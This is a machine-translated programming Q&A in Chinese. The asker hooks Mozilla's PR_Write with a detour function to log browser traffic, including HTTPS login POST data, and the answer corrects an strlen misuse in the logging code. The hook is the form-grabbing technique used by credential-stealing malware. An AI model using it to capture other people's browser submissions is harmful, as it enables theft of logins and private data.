所以我最近在Mozilla中连接了PR_Write并且能够将结果(字面上的所有连接)记录到日志文件中,然而有一个问题,我假设在挂钩PR_Write后,我将能够捕获HTTPS数据,但是当我登录到HTTPS服务器时,它没有捕获未加密的POST数据,我尝试使用localhost并制作假POST,并且考虑到它未加密,它会捕获localhost帖子。挂钩PR_Write是不是要捕获所有类型的数据?
这是我使用的PR_Write原型和变量:
typedef int (*Custom_Write)(PVOID, LPVOID, INT);
Custom_Write c_write=NULL;
PR_Write definition by Mozilla
并且在绕行函数中,我通过使用GetProcAddress获取存储在c_write
中的地址来调用原始PR_Write。以下是它的名称:
// detour function
int detour_pr_write(int fd, LPVOID buf, int bytes)
{
// ... code for virtual protect
int retaddr=c_write(fd, buf, bytes);
// file functions
fwrite(buf, sizeof(char), strlen(buf), fileHandle);
// ... code for virtual protect
return retaddr; // go to original function
}
日志记录和其他东西工作正常但是当它归结为编写加密的POST数据时,它会失败。它最终写出了胡言乱语。
答案 0 :(得分:1)
'写(buf,sizeof(char),strlen(buf),fileHandle);' - strlen()调用既不合适也不必要。它不仅无法可靠地使用可能或可能不指向以null结尾的char数组的void指针,它是多余的,因为你已经知道要写入多少字节/字符 - 它作为&传入#39; int bytes'参数。
摆脱strlen()调用;
fwrite(buf, 1,bytes, fileHandle);
strlen()不是必需的,并且无法可靠地处理可能包含嵌入空值的二进制数据。
使用网络代码,strlen()在99.9%的时间内都是灾难。